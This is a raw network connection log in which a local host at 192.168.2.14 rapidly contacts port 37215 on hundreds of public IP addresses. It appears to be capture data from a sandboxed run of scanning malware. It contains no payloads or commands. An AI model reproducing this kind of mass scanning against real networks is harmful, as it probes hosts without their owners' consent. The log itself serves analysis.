Sep 25, 2024 14:14:13.710737944 CEST	45510	37215	192.168.2.14	197.194.118.20
Sep 25, 2024 14:14:13.715445995 CEST	37306	37215	192.168.2.14	41.156.21.254
Sep 25, 2024 14:14:13.720314026 CEST	37215	37306	41.156.21.254	192.168.2.14
Sep 25, 2024 14:14:13.720366001 CEST	37306	37215	192.168.2.14	41.156.21.254
Sep 25, 2024 14:14:13.721623898 CEST	58996	37215	192.168.2.14	156.15.110.52
Sep 25, 2024 14:14:13.731523991 CEST	35072	37215	192.168.2.14	41.126.4.16
Sep 25, 2024 14:14:13.736490965 CEST	37215	35072	41.126.4.16	192.168.2.14
Sep 25, 2024 14:14:13.736537933 CEST	35072	37215	192.168.2.14	41.126.4.16
Sep 25, 2024 14:14:13.746814966 CEST	45026	37215	192.168.2.14	197.102.171.153
Sep 25, 2024 14:14:13.749543905 CEST	53986	37215	192.168.2.14	156.160.181.179
Sep 25, 2024 14:14:13.751627922 CEST	37215	45026	197.102.171.153	192.168.2.14
Sep 25, 2024 14:14:13.751697063 CEST	45026	37215	192.168.2.14	197.102.171.153
Sep 25, 2024 14:14:13.752135038 CEST	58922	37215	192.168.2.14	197.137.27.83
Sep 25, 2024 14:14:13.754586935 CEST	37215	53986	156.160.181.179	192.168.2.14
Sep 25, 2024 14:14:13.754632950 CEST	53986	37215	192.168.2.14	156.160.181.179
Sep 25, 2024 14:14:13.756639957 CEST	57802	37215	192.168.2.14	197.236.232.139
Sep 25, 2024 14:14:13.756915092 CEST	37215	58922	197.137.27.83	192.168.2.14
Sep 25, 2024 14:14:13.756953955 CEST	58922	37215	192.168.2.14	197.137.27.83
Sep 25, 2024 14:14:13.759357929 CEST	41858	37215	192.168.2.14	156.87.246.107
Sep 25, 2024 14:14:13.762370110 CEST	35702	37215	192.168.2.14	197.216.45.82
Sep 25, 2024 14:14:13.764978886 CEST	41122	37215	192.168.2.14	156.36.170.113
Sep 25, 2024 14:14:13.765980959 CEST	57278	37215	192.168.2.14	156.77.1.208
Sep 25, 2024 14:14:13.766010046 CEST	57278	37215	192.168.2.14	156.77.1.208
Sep 25, 2024 14:14:13.766611099 CEST	57468	37215	192.168.2.14	156.77.1.208
Sep 25, 2024 14:14:13.767688990 CEST	39036	37215	192.168.2.14	41.131.201.238
Sep 25, 2024 14:14:13.767688990 CEST	39036	37215	192.168.2.14	41.131.201.238
Sep 25, 2024 14:14:13.768419027 CEST	39222	37215	192.168.2.14	41.131.201.238
Sep 25, 2024 14:14:13.769046068 CEST	56478	37215	192.168.2.14	197.116.25.249
Sep 25, 2024 14:14:13.769046068 CEST	56478	37215	192.168.2.14	197.116.25.249
Sep 25, 2024 14:14:13.769821882 CEST	37215	41122	156.36.170.113	192.168.2.14
Sep 25, 2024 14:14:13.769922018 CEST	41122	37215	192.168.2.14	156.36.170.113
Sep 25, 2024 14:14:13.770015955 CEST	56650	37215	192.168.2.14	197.116.25.249
Sep 25, 2024 14:14:13.770885944 CEST	60508	37215	192.168.2.14	197.211.244.130
Sep 25, 2024 14:14:13.770885944 CEST	60508	37215	192.168.2.14	197.211.244.130
Sep 25, 2024 14:14:13.770891905 CEST	37215	57278	156.77.1.208	192.168.2.14
Sep 25, 2024 14:14:13.771298885 CEST	60700	37215	192.168.2.14	197.211.244.130
Sep 25, 2024 14:14:13.772381067 CEST	32874	37215	192.168.2.14	156.194.223.116
Sep 25, 2024 14:14:13.772381067 CEST	32874	37215	192.168.2.14	156.194.223.116
Sep 25, 2024 14:14:13.772583008 CEST	37215	39036	41.131.201.238	192.168.2.14
Sep 25, 2024 14:14:13.773890972 CEST	37215	56478	197.116.25.249	192.168.2.14
Sep 25, 2024 14:14:13.774259090 CEST	33042	37215	192.168.2.14	156.194.223.116
Sep 25, 2024 14:14:13.775794029 CEST	37215	60508	197.211.244.130	192.168.2.14
Sep 25, 2024 14:14:13.777077913 CEST	52130	37215	192.168.2.14	156.96.234.250
Sep 25, 2024 14:14:13.777077913 CEST	52130	37215	192.168.2.14	156.96.234.250
Sep 25, 2024 14:14:13.777154922 CEST	37215	32874	156.194.223.116	192.168.2.14
Sep 25, 2024 14:14:13.777992010 CEST	52296	37215	192.168.2.14	156.96.234.250
Sep 25, 2024 14:14:13.779068947 CEST	37215	33042	156.194.223.116	192.168.2.14
Sep 25, 2024 14:14:13.779103994 CEST	33042	37215	192.168.2.14	156.194.223.116
Sep 25, 2024 14:14:13.779253960 CEST	33514	37215	192.168.2.14	41.164.78.5
Sep 25, 2024 14:14:13.779253960 CEST	33514	37215	192.168.2.14	41.164.78.5
Sep 25, 2024 14:14:13.780478001 CEST	33676	37215	192.168.2.14	41.164.78.5
Sep 25, 2024 14:14:13.781943083 CEST	37215	52130	156.96.234.250	192.168.2.14
Sep 25, 2024 14:14:13.782741070 CEST	54374	37215	192.168.2.14	197.86.189.29
Sep 25, 2024 14:14:13.782741070 CEST	54374	37215	192.168.2.14	197.86.189.29
Sep 25, 2024 14:14:13.784128904 CEST	37215	33514	41.164.78.5	192.168.2.14
Sep 25, 2024 14:14:13.785038948 CEST	54526	37215	192.168.2.14	197.86.189.29
Sep 25, 2024 14:14:13.787594080 CEST	37215	54374	197.86.189.29	192.168.2.14
Sep 25, 2024 14:14:13.787969112 CEST	52732	37215	192.168.2.14	156.222.104.69
Sep 25, 2024 14:14:13.787969112 CEST	52732	37215	192.168.2.14	156.222.104.69
Sep 25, 2024 14:14:13.789824009 CEST	37215	54526	197.86.189.29	192.168.2.14
Sep 25, 2024 14:14:13.789928913 CEST	54526	37215	192.168.2.14	197.86.189.29
Sep 25, 2024 14:14:13.790026903 CEST	52872	37215	192.168.2.14	156.222.104.69
Sep 25, 2024 14:14:13.792748928 CEST	37215	52732	156.222.104.69	192.168.2.14
Sep 25, 2024 14:14:13.793517113 CEST	60868	37215	192.168.2.14	156.139.7.170
Sep 25, 2024 14:14:13.793517113 CEST	60868	37215	192.168.2.14	156.139.7.170
Sep 25, 2024 14:14:13.795520067 CEST	60998	37215	192.168.2.14	156.139.7.170
Sep 25, 2024 14:14:13.798064947 CEST	57936	37215	192.168.2.14	156.130.48.53
Sep 25, 2024 14:14:13.798064947 CEST	57936	37215	192.168.2.14	156.130.48.53
Sep 25, 2024 14:14:13.798345089 CEST	37215	60868	156.139.7.170	192.168.2.14
Sep 25, 2024 14:14:13.799458027 CEST	58060	37215	192.168.2.14	156.130.48.53
Sep 25, 2024 14:14:13.800329924 CEST	37215	60998	156.139.7.170	192.168.2.14
Sep 25, 2024 14:14:13.800367117 CEST	60998	37215	192.168.2.14	156.139.7.170
Sep 25, 2024 14:14:13.802228928 CEST	37622	37215	192.168.2.14	197.123.20.78
Sep 25, 2024 14:14:13.802243948 CEST	37622	37215	192.168.2.14	197.123.20.78
Sep 25, 2024 14:14:13.802886963 CEST	37215	57936	156.130.48.53	192.168.2.14
Sep 25, 2024 14:14:13.807065010 CEST	37215	37622	197.123.20.78	192.168.2.14
Sep 25, 2024 14:14:13.807497978 CEST	37744	37215	192.168.2.14	197.123.20.78
Sep 25, 2024 14:14:13.810518026 CEST	35528	37215	192.168.2.14	156.229.29.51
Sep 25, 2024 14:14:13.810518026 CEST	35528	37215	192.168.2.14	156.229.29.51
Sep 25, 2024 14:14:13.812166929 CEST	35644	37215	192.168.2.14	156.229.29.51
Sep 25, 2024 14:14:13.812406063 CEST	37215	37744	197.123.20.78	192.168.2.14
Sep 25, 2024 14:14:13.812448025 CEST	37744	37215	192.168.2.14	197.123.20.78
Sep 25, 2024 14:14:13.814007998 CEST	60926	37215	192.168.2.14	41.220.146.194
Sep 25, 2024 14:14:13.814007998 CEST	60926	37215	192.168.2.14	41.220.146.194
Sep 25, 2024 14:14:13.815300941 CEST	37215	35528	156.229.29.51	192.168.2.14
Sep 25, 2024 14:14:13.816955090 CEST	37215	35644	156.229.29.51	192.168.2.14
Sep 25, 2024 14:14:13.816994905 CEST	35644	37215	192.168.2.14	156.229.29.51
Sep 25, 2024 14:14:13.817806959 CEST	37215	39036	41.131.201.238	192.168.2.14
Sep 25, 2024 14:14:13.817817926 CEST	37215	57278	156.77.1.208	192.168.2.14
Sep 25, 2024 14:14:13.817819118 CEST	32808	37215	192.168.2.14	41.220.146.194
Sep 25, 2024 14:14:13.817831993 CEST	37215	32874	156.194.223.116	192.168.2.14
Sep 25, 2024 14:14:13.817850113 CEST	37215	60508	197.211.244.130	192.168.2.14
Sep 25, 2024 14:14:13.817878962 CEST	37215	56478	197.116.25.249	192.168.2.14
Sep 25, 2024 14:14:13.818857908 CEST	37215	60926	41.220.146.194	192.168.2.14
Sep 25, 2024 14:14:13.819675922 CEST	39100	37215	192.168.2.14	41.89.131.221
Sep 25, 2024 14:14:13.819675922 CEST	39100	37215	192.168.2.14	41.89.131.221
Sep 25, 2024 14:14:13.822180986 CEST	39200	37215	192.168.2.14	41.89.131.221
Sep 25, 2024 14:14:13.824558973 CEST	37215	39100	41.89.131.221	192.168.2.14
Sep 25, 2024 14:14:13.825824022 CEST	37215	52130	156.96.234.250	192.168.2.14
Sep 25, 2024 14:14:13.826148987 CEST	48396	37215	192.168.2.14	41.200.165.86
Sep 25, 2024 14:14:13.826148987 CEST	48396	37215	192.168.2.14	41.200.165.86
Sep 25, 2024 14:14:13.828775883 CEST	48492	37215	192.168.2.14	41.200.165.86
Sep 25, 2024 14:14:13.829828024 CEST	37215	33514	41.164.78.5	192.168.2.14
Sep 25, 2024 14:14:13.831041098 CEST	37215	48396	41.200.165.86	192.168.2.14
Sep 25, 2024 14:14:13.833153009 CEST	49108	37215	192.168.2.14	197.234.26.181
Sep 25, 2024 14:14:13.833200932 CEST	49108	37215	192.168.2.14	197.234.26.181
Sep 25, 2024 14:14:13.833527088 CEST	37215	48492	41.200.165.86	192.168.2.14
Sep 25, 2024 14:14:13.833564997 CEST	48492	37215	192.168.2.14	41.200.165.86
Sep 25, 2024 14:14:13.833846092 CEST	37215	54374	197.86.189.29	192.168.2.14
Sep 25, 2024 14:14:13.833874941 CEST	37215	52732	156.222.104.69	192.168.2.14
Sep 25, 2024 14:14:13.835406065 CEST	49188	37215	192.168.2.14	197.234.26.181
Sep 25, 2024 14:14:13.837161064 CEST	58972	37215	192.168.2.14	156.66.158.131
Sep 25, 2024 14:14:13.837161064 CEST	58972	37215	192.168.2.14	156.66.158.131
Sep 25, 2024 14:14:13.838027954 CEST	37215	49108	197.234.26.181	192.168.2.14
Sep 25, 2024 14:14:13.840253115 CEST	37215	49188	197.234.26.181	192.168.2.14
Sep 25, 2024 14:14:13.840310097 CEST	49188	37215	192.168.2.14	197.234.26.181
Sep 25, 2024 14:14:13.841126919 CEST	59048	37215	192.168.2.14	156.66.158.131
Sep 25, 2024 14:14:13.841782093 CEST	37215	60868	156.139.7.170	192.168.2.14
Sep 25, 2024 14:14:13.841965914 CEST	37215	58972	156.66.158.131	192.168.2.14
Sep 25, 2024 14:14:13.843221903 CEST	58942	37215	192.168.2.14	156.161.174.59
Sep 25, 2024 14:14:13.843221903 CEST	58942	37215	192.168.2.14	156.161.174.59
Sep 25, 2024 14:14:13.844239950 CEST	59014	37215	192.168.2.14	156.161.174.59
Sep 25, 2024 14:14:13.845676899 CEST	56572	37215	192.168.2.14	197.13.50.174
Sep 25, 2024 14:14:13.845676899 CEST	56572	37215	192.168.2.14	197.13.50.174
Sep 25, 2024 14:14:13.847480059 CEST	56644	37215	192.168.2.14	197.13.50.174
Sep 25, 2024 14:14:13.848134995 CEST	37215	58942	156.161.174.59	192.168.2.14
Sep 25, 2024 14:14:13.849036932 CEST	37215	59014	156.161.174.59	192.168.2.14
Sep 25, 2024 14:14:13.849071026 CEST	59014	37215	192.168.2.14	156.161.174.59
Sep 25, 2024 14:14:13.849415064 CEST	53458	37215	192.168.2.14	156.138.102.83
Sep 25, 2024 14:14:13.849425077 CEST	53458	37215	192.168.2.14	156.138.102.83
Sep 25, 2024 14:14:13.849807024 CEST	37215	57936	156.130.48.53	192.168.2.14
Sep 25, 2024 14:14:13.850466013 CEST	37215	56572	197.13.50.174	192.168.2.14
Sep 25, 2024 14:14:13.850716114 CEST	53524	37215	192.168.2.14	156.138.102.83
Sep 25, 2024 14:14:13.852016926 CEST	37306	37215	192.168.2.14	41.156.21.254
Sep 25, 2024 14:14:13.852035046 CEST	37306	37215	192.168.2.14	41.156.21.254
Sep 25, 2024 14:14:13.853796959 CEST	37215	37622	197.123.20.78	192.168.2.14
Sep 25, 2024 14:14:13.853912115 CEST	37368	37215	192.168.2.14	41.156.21.254
Sep 25, 2024 14:14:13.854305983 CEST	37215	53458	156.138.102.83	192.168.2.14
Sep 25, 2024 14:14:13.856416941 CEST	35072	37215	192.168.2.14	41.126.4.16
Sep 25, 2024 14:14:13.856416941 CEST	35072	37215	192.168.2.14	41.126.4.16
Sep 25, 2024 14:14:13.856780052 CEST	37215	37306	41.156.21.254	192.168.2.14
Sep 25, 2024 14:14:13.857780933 CEST	37215	35528	156.229.29.51	192.168.2.14
Sep 25, 2024 14:14:13.858115911 CEST	35132	37215	192.168.2.14	41.126.4.16
Sep 25, 2024 14:14:13.858736038 CEST	37215	37368	41.156.21.254	192.168.2.14
Sep 25, 2024 14:14:13.858772039 CEST	37368	37215	192.168.2.14	41.156.21.254
Sep 25, 2024 14:14:13.859889984 CEST	45026	37215	192.168.2.14	197.102.171.153
Sep 25, 2024 14:14:13.859889984 CEST	45026	37215	192.168.2.14	197.102.171.153
Sep 25, 2024 14:14:13.861263990 CEST	37215	35072	41.126.4.16	192.168.2.14
Sep 25, 2024 14:14:13.861604929 CEST	45086	37215	192.168.2.14	197.102.171.153
Sep 25, 2024 14:14:13.861794949 CEST	37215	60926	41.220.146.194	192.168.2.14
Sep 25, 2024 14:14:13.862813950 CEST	53986	37215	192.168.2.14	156.160.181.179
Sep 25, 2024 14:14:13.862813950 CEST	53986	37215	192.168.2.14	156.160.181.179
Sep 25, 2024 14:14:13.864170074 CEST	54046	37215	192.168.2.14	156.160.181.179
Sep 25, 2024 14:14:13.864684105 CEST	37215	45026	197.102.171.153	192.168.2.14
Sep 25, 2024 14:14:13.865247965 CEST	58922	37215	192.168.2.14	197.137.27.83
Sep 25, 2024 14:14:13.865248919 CEST	58922	37215	192.168.2.14	197.137.27.83
Sep 25, 2024 14:14:13.865791082 CEST	37215	39100	41.89.131.221	192.168.2.14
Sep 25, 2024 14:14:13.866796017 CEST	58982	37215	192.168.2.14	197.137.27.83
Sep 25, 2024 14:14:13.867497921 CEST	54526	37215	192.168.2.14	197.86.189.29
Sep 25, 2024 14:14:13.867501020 CEST	33042	37215	192.168.2.14	156.194.223.116
Sep 25, 2024 14:14:13.867515087 CEST	37744	37215	192.168.2.14	197.123.20.78
Sep 25, 2024 14:14:13.867520094 CEST	35644	37215	192.168.2.14	156.229.29.51
Sep 25, 2024 14:14:13.867527008 CEST	48492	37215	192.168.2.14	41.200.165.86
Sep 25, 2024 14:14:13.867530107 CEST	49188	37215	192.168.2.14	197.234.26.181
Sep 25, 2024 14:14:13.867533922 CEST	60998	37215	192.168.2.14	156.139.7.170
Sep 25, 2024 14:14:13.867546082 CEST	59014	37215	192.168.2.14	156.161.174.59
Sep 25, 2024 14:14:13.867554903 CEST	37368	37215	192.168.2.14	41.156.21.254
Sep 25, 2024 14:14:13.867621899 CEST	41122	37215	192.168.2.14	156.36.170.113
Sep 25, 2024 14:14:13.867621899 CEST	41122	37215	192.168.2.14	156.36.170.113
Sep 25, 2024 14:14:13.867731094 CEST	37215	53986	156.160.181.179	192.168.2.14
Sep 25, 2024 14:14:13.868931055 CEST	41176	37215	192.168.2.14	156.36.170.113
Sep 25, 2024 14:14:13.868941069 CEST	37215	54046	156.160.181.179	192.168.2.14
Sep 25, 2024 14:14:13.868980885 CEST	54046	37215	192.168.2.14	156.160.181.179
Sep 25, 2024 14:14:13.870143890 CEST	37215	58922	197.137.27.83	192.168.2.14
Sep 25, 2024 14:14:13.870204926 CEST	54046	37215	192.168.2.14	156.160.181.179
Sep 25, 2024 14:14:13.872447014 CEST	37215	54526	197.86.189.29	192.168.2.14
Sep 25, 2024 14:14:13.872555017 CEST	54526	37215	192.168.2.14	197.86.189.29
Sep 25, 2024 14:14:13.872674942 CEST	37215	33042	156.194.223.116	192.168.2.14
Sep 25, 2024 14:14:13.872687101 CEST	37215	37744	197.123.20.78	192.168.2.14
Sep 25, 2024 14:14:13.872697115 CEST	37215	35644	156.229.29.51	192.168.2.14
Sep 25, 2024 14:14:13.872706890 CEST	37215	49188	197.234.26.181	192.168.2.14
Sep 25, 2024 14:14:13.872716904 CEST	37215	48492	41.200.165.86	192.168.2.14
Sep 25, 2024 14:14:13.872724056 CEST	33042	37215	192.168.2.14	156.194.223.116
Sep 25, 2024 14:14:13.872726917 CEST	37744	37215	192.168.2.14	197.123.20.78
Sep 25, 2024 14:14:13.872728109 CEST	37215	60998	156.139.7.170	192.168.2.14
Sep 25, 2024 14:14:13.872744083 CEST	35644	37215	192.168.2.14	156.229.29.51
Sep 25, 2024 14:14:13.872745991 CEST	37215	59014	156.161.174.59	192.168.2.14
Sep 25, 2024 14:14:13.872756004 CEST	37215	37368	41.156.21.254	192.168.2.14
Sep 25, 2024 14:14:13.872785091 CEST	59014	37215	192.168.2.14	156.161.174.59
Sep 25, 2024 14:14:13.872786999 CEST	37368	37215	192.168.2.14	41.156.21.254
Sep 25, 2024 14:14:13.872847080 CEST	49188	37215	192.168.2.14	197.234.26.181
Sep 25, 2024 14:14:13.872848034 CEST	60998	37215	192.168.2.14	156.139.7.170
Sep 25, 2024 14:14:13.872848988 CEST	48492	37215	192.168.2.14	41.200.165.86
Sep 25, 2024 14:14:13.872900009 CEST	37215	41122	156.36.170.113	192.168.2.14
Sep 25, 2024 14:14:13.874984980 CEST	37215	54046	156.160.181.179	192.168.2.14
Sep 25, 2024 14:14:13.875025988 CEST	54046	37215	192.168.2.14	156.160.181.179
Sep 25, 2024 14:14:13.877813101 CEST	37215	48396	41.200.165.86	192.168.2.14
Sep 25, 2024 14:14:13.881860018 CEST	37215	49108	197.234.26.181	192.168.2.14
Sep 25, 2024 14:14:13.889872074 CEST	37215	58972	156.66.158.131	192.168.2.14
Sep 25, 2024 14:14:13.889883041 CEST	37215	58942	156.161.174.59	192.168.2.14
Sep 25, 2024 14:14:13.893815041 CEST	37215	56572	197.13.50.174	192.168.2.14
Sep 25, 2024 14:14:13.897856951 CEST	37215	37306	41.156.21.254	192.168.2.14
Sep 25, 2024 14:14:13.897869110 CEST	37215	53458	156.138.102.83	192.168.2.14
Sep 25, 2024 14:14:13.901813030 CEST	37215	35072	41.126.4.16	192.168.2.14
Sep 25, 2024 14:14:13.909857988 CEST	37215	45026	197.102.171.153	192.168.2.14
Sep 25, 2024 14:14:13.909869909 CEST	37215	53986	156.160.181.179	192.168.2.14
Sep 25, 2024 14:14:13.913866997 CEST	37215	58922	197.137.27.83	192.168.2.14
Sep 25, 2024 14:14:13.913942099 CEST	37215	41122	156.36.170.113	192.168.2.14
Sep 25, 2024 14:14:13.917872906 CEST	37215	45956	156.236.134.70	192.168.2.14
Sep 25, 2024 14:14:13.917926073 CEST	45956	37215	192.168.2.14	156.236.134.70
Sep 25, 2024 14:14:14.320069075 CEST	37215	60842	156.231.58.213	192.168.2.14
Sep 25, 2024 14:14:14.320173025 CEST	60842	37215	192.168.2.14	156.231.58.213
Sep 25, 2024 14:14:14.363253117 CEST	37215	52200	197.128.136.140	192.168.2.14
Sep 25, 2024 14:14:14.363315105 CEST	52200	37215	192.168.2.14	197.128.136.140
Sep 25, 2024 14:14:14.487471104 CEST	37215	56458	197.232.26.242	192.168.2.14
Sep 25, 2024 14:14:14.487523079 CEST	56458	37215	192.168.2.14	197.232.26.242
Sep 25, 2024 14:14:14.496932983 CEST	37215	57780	156.0.246.2	192.168.2.14
Sep 25, 2024 14:14:14.496968985 CEST	57780	37215	192.168.2.14	156.0.246.2
Sep 25, 2024 14:14:14.550138950 CEST	37370	37215	192.168.2.14	156.228.108.249
Sep 25, 2024 14:14:14.550153971 CEST	38346	37215	192.168.2.14	156.62.166.162
Sep 25, 2024 14:14:14.550158024 CEST	60004	37215	192.168.2.14	156.114.186.147
Sep 25, 2024 14:14:14.554994106 CEST	37215	37370	156.228.108.249	192.168.2.14
Sep 25, 2024 14:14:14.555038929 CEST	37215	60004	156.114.186.147	192.168.2.14
Sep 25, 2024 14:14:14.555053949 CEST	37370	37215	192.168.2.14	156.228.108.249
Sep 25, 2024 14:14:14.555105925 CEST	60004	37215	192.168.2.14	156.114.186.147
Sep 25, 2024 14:14:14.555186033 CEST	63353	37215	192.168.2.14	156.180.191.247
Sep 25, 2024 14:14:14.555227041 CEST	63353	37215	192.168.2.14	156.156.122.8
Sep 25, 2024 14:14:14.555233955 CEST	63353	37215	192.168.2.14	197.216.95.131
Sep 25, 2024 14:14:14.555238962 CEST	63353	37215	192.168.2.14	197.145.61.147
Sep 25, 2024 14:14:14.555238962 CEST	63353	37215	192.168.2.14	41.163.125.164
Sep 25, 2024 14:14:14.555252075 CEST	63353	37215	192.168.2.14	197.57.233.63
Sep 25, 2024 14:14:14.555268049 CEST	63353	37215	192.168.2.14	156.26.49.169
Sep 25, 2024 14:14:14.555268049 CEST	63353	37215	192.168.2.14	156.184.222.237
Sep 25, 2024 14:14:14.555290937 CEST	63353	37215	192.168.2.14	197.2.184.228
Sep 25, 2024 14:14:14.555305004 CEST	63353	37215	192.168.2.14	41.141.77.117
Sep 25, 2024 14:14:14.555305958 CEST	63353	37215	192.168.2.14	197.228.202.221
Sep 25, 2024 14:14:14.555309057 CEST	63353	37215	192.168.2.14	41.96.40.29
Sep 25, 2024 14:14:14.555309057 CEST	63353	37215	192.168.2.14	156.156.136.242
Sep 25, 2024 14:14:14.555318117 CEST	63353	37215	192.168.2.14	197.23.243.19
Sep 25, 2024 14:14:14.555327892 CEST	37215	38346	156.62.166.162	192.168.2.14
Sep 25, 2024 14:14:14.555332899 CEST	63353	37215	192.168.2.14	156.164.181.71
Sep 25, 2024 14:14:14.555334091 CEST	63353	37215	192.168.2.14	197.96.2.106
Sep 25, 2024 14:14:14.555339098 CEST	63353	37215	192.168.2.14	197.212.10.113
Sep 25, 2024 14:14:14.555351973 CEST	63353	37215	192.168.2.14	197.19.237.243
Sep 25, 2024 14:14:14.555366993 CEST	63353	37215	192.168.2.14	41.126.181.165
Sep 25, 2024 14:14:14.555372000 CEST	63353	37215	192.168.2.14	41.18.165.82
Sep 25, 2024 14:14:14.555392027 CEST	63353	37215	192.168.2.14	156.234.208.75
Sep 25, 2024 14:14:14.555392981 CEST	63353	37215	192.168.2.14	197.247.57.35
Sep 25, 2024 14:14:14.555394888 CEST	63353	37215	192.168.2.14	41.85.128.85
Sep 25, 2024 14:14:14.555402040 CEST	63353	37215	192.168.2.14	156.28.194.154
Sep 25, 2024 14:14:14.555402040 CEST	63353	37215	192.168.2.14	197.235.233.186
Sep 25, 2024 14:14:14.555407047 CEST	63353	37215	192.168.2.14	197.148.124.205
Sep 25, 2024 14:14:14.555416107 CEST	63353	37215	192.168.2.14	41.145.42.186
Sep 25, 2024 14:14:14.555418015 CEST	63353	37215	192.168.2.14	41.62.122.41
Sep 25, 2024 14:14:14.555418015 CEST	63353	37215	192.168.2.14	197.41.238.252
Sep 25, 2024 14:14:14.555416107 CEST	63353	37215	192.168.2.14	156.239.85.13
Sep 25, 2024 14:14:14.555418015 CEST	63353	37215	192.168.2.14	41.55.128.202
Sep 25, 2024 14:14:14.555429935 CEST	63353	37215	192.168.2.14	197.23.54.201
Sep 25, 2024 14:14:14.555432081 CEST	63353	37215	192.168.2.14	41.106.169.205
Sep 25, 2024 14:14:14.555444956 CEST	63353	37215	192.168.2.14	41.134.31.59
Sep 25, 2024 14:14:14.555447102 CEST	38346	37215	192.168.2.14	156.62.166.162
Sep 25, 2024 14:14:14.555531025 CEST	63353	37215	192.168.2.14	197.216.7.36
Sep 25, 2024 14:14:14.555531025 CEST	63353	37215	192.168.2.14	41.183.91.205
Sep 25, 2024 14:14:14.555531025 CEST	63353	37215	192.168.2.14	197.193.239.43
Sep 25, 2024 14:14:14.555532932 CEST	63353	37215	192.168.2.14	197.240.172.65
Sep 25, 2024 14:14:14.555532932 CEST	63353	37215	192.168.2.14	41.149.228.31
Sep 25, 2024 14:14:14.555532932 CEST	63353	37215	192.168.2.14	156.218.30.28
Sep 25, 2024 14:14:14.555532932 CEST	63353	37215	192.168.2.14	197.22.82.105
Sep 25, 2024 14:14:14.555546999 CEST	63353	37215	192.168.2.14	197.15.39.142
Sep 25, 2024 14:14:14.555546999 CEST	63353	37215	192.168.2.14	156.234.28.147
Sep 25, 2024 14:14:14.555548906 CEST	63353	37215	192.168.2.14	41.104.10.243
Sep 25, 2024 14:14:14.555548906 CEST	63353	37215	192.168.2.14	197.189.82.238
Sep 25, 2024 14:14:14.555550098 CEST	63353	37215	192.168.2.14	41.231.142.148
Sep 25, 2024 14:14:14.555557013 CEST	63353	37215	192.168.2.14	156.202.206.114
Sep 25, 2024 14:14:14.555557013 CEST	63353	37215	192.168.2.14	41.195.216.193
Sep 25, 2024 14:14:14.555557966 CEST	63353	37215	192.168.2.14	41.138.93.145
Sep 25, 2024 14:14:14.555557013 CEST	63353	37215	192.168.2.14	41.247.158.84
Sep 25, 2024 14:14:14.555577040 CEST	63353	37215	192.168.2.14	41.239.64.157
Sep 25, 2024 14:14:14.555588007 CEST	63353	37215	192.168.2.14	197.246.32.246
Sep 25, 2024 14:14:14.555588007 CEST	63353	37215	192.168.2.14	197.126.198.86
Sep 25, 2024 14:14:14.555596113 CEST	63353	37215	192.168.2.14	197.129.208.14
Sep 25, 2024 14:14:14.555603981 CEST	63353	37215	192.168.2.14	197.138.186.66
Sep 25, 2024 14:14:14.555603981 CEST	63353	37215	192.168.2.14	41.214.69.178
Sep 25, 2024 14:14:14.555605888 CEST	63353	37215	192.168.2.14	156.203.125.93
Sep 25, 2024 14:14:14.555618048 CEST	63353	37215	192.168.2.14	156.191.200.81
Sep 25, 2024 14:14:14.555618048 CEST	63353	37215	192.168.2.14	156.90.145.103
Sep 25, 2024 14:14:14.555619001 CEST	63353	37215	192.168.2.14	41.59.164.197
Sep 25, 2024 14:14:14.555620909 CEST	63353	37215	192.168.2.14	156.118.30.32
Sep 25, 2024 14:14:14.555638075 CEST	63353	37215	192.168.2.14	156.156.225.97
Sep 25, 2024 14:14:14.555639029 CEST	63353	37215	192.168.2.14	41.33.63.180
Sep 25, 2024 14:14:14.555639982 CEST	63353	37215	192.168.2.14	41.118.251.13
Sep 25, 2024 14:14:14.555639029 CEST	63353	37215	192.168.2.14	156.51.177.129
Sep 25, 2024 14:14:14.555672884 CEST	63353	37215	192.168.2.14	197.27.213.56
Sep 25, 2024 14:14:14.555674076 CEST	63353	37215	192.168.2.14	41.75.130.92
Sep 25, 2024 14:14:14.555675030 CEST	63353	37215	192.168.2.14	156.19.14.14
Sep 25, 2024 14:14:14.555675983 CEST	63353	37215	192.168.2.14	41.177.12.226
Sep 25, 2024 14:14:14.555691957 CEST	63353	37215	192.168.2.14	41.154.114.138
Sep 25, 2024 14:14:14.555691957 CEST	63353	37215	192.168.2.14	41.227.117.53
Sep 25, 2024 14:14:14.555701017 CEST	63353	37215	192.168.2.14	197.226.91.109
Sep 25, 2024 14:14:14.555701971 CEST	63353	37215	192.168.2.14	156.11.100.222
Sep 25, 2024 14:14:14.555711985 CEST	63353	37215	192.168.2.14	156.140.93.245
Sep 25, 2024 14:14:14.555711985 CEST	63353	37215	192.168.2.14	156.173.110.228
Sep 25, 2024 14:14:14.555711985 CEST	63353	37215	192.168.2.14	156.129.241.128
Sep 25, 2024 14:14:14.555721045 CEST	63353	37215	192.168.2.14	197.213.248.61
Sep 25, 2024 14:14:14.555723906 CEST	63353	37215	192.168.2.14	41.66.76.3
Sep 25, 2024 14:14:14.555725098 CEST	63353	37215	192.168.2.14	41.79.180.70
Sep 25, 2024 14:14:14.555725098 CEST	63353	37215	192.168.2.14	41.7.216.238
Sep 25, 2024 14:14:14.555726051 CEST	63353	37215	192.168.2.14	41.34.135.75
Sep 25, 2024 14:14:14.555737019 CEST	63353	37215	192.168.2.14	197.213.83.93
Sep 25, 2024 14:14:14.555742025 CEST	63353	37215	192.168.2.14	197.61.218.151
Sep 25, 2024 14:14:14.555749893 CEST	63353	37215	192.168.2.14	41.219.188.115
Sep 25, 2024 14:14:14.555762053 CEST	63353	37215	192.168.2.14	197.145.188.96
Sep 25, 2024 14:14:14.555762053 CEST	63353	37215	192.168.2.14	41.187.115.185
Sep 25, 2024 14:14:14.555762053 CEST	63353	37215	192.168.2.14	41.44.6.184
Sep 25, 2024 14:14:14.555773973 CEST	63353	37215	192.168.2.14	197.142.166.230
Sep 25, 2024 14:14:14.555777073 CEST	63353	37215	192.168.2.14	41.180.214.170
Sep 25, 2024 14:14:14.555783987 CEST	63353	37215	192.168.2.14	41.59.230.206
Sep 25, 2024 14:14:14.555783987 CEST	63353	37215	192.168.2.14	197.15.10.1
Sep 25, 2024 14:14:14.555799961 CEST	63353	37215	192.168.2.14	156.127.151.196
Sep 25, 2024 14:14:14.555799961 CEST	63353	37215	192.168.2.14	41.36.143.94
Sep 25, 2024 14:14:14.555799961 CEST	63353	37215	192.168.2.14	156.15.110.231
Sep 25, 2024 14:14:14.555799961 CEST	63353	37215	192.168.2.14	156.175.164.128
Sep 25, 2024 14:14:14.555811882 CEST	63353	37215	192.168.2.14	41.221.229.254
Sep 25, 2024 14:14:14.555814981 CEST	63353	37215	192.168.2.14	156.90.179.108
Sep 25, 2024 14:14:14.555835962 CEST	63353	37215	192.168.2.14	197.45.158.162
Sep 25, 2024 14:14:14.555838108 CEST	63353	37215	192.168.2.14	41.96.37.61
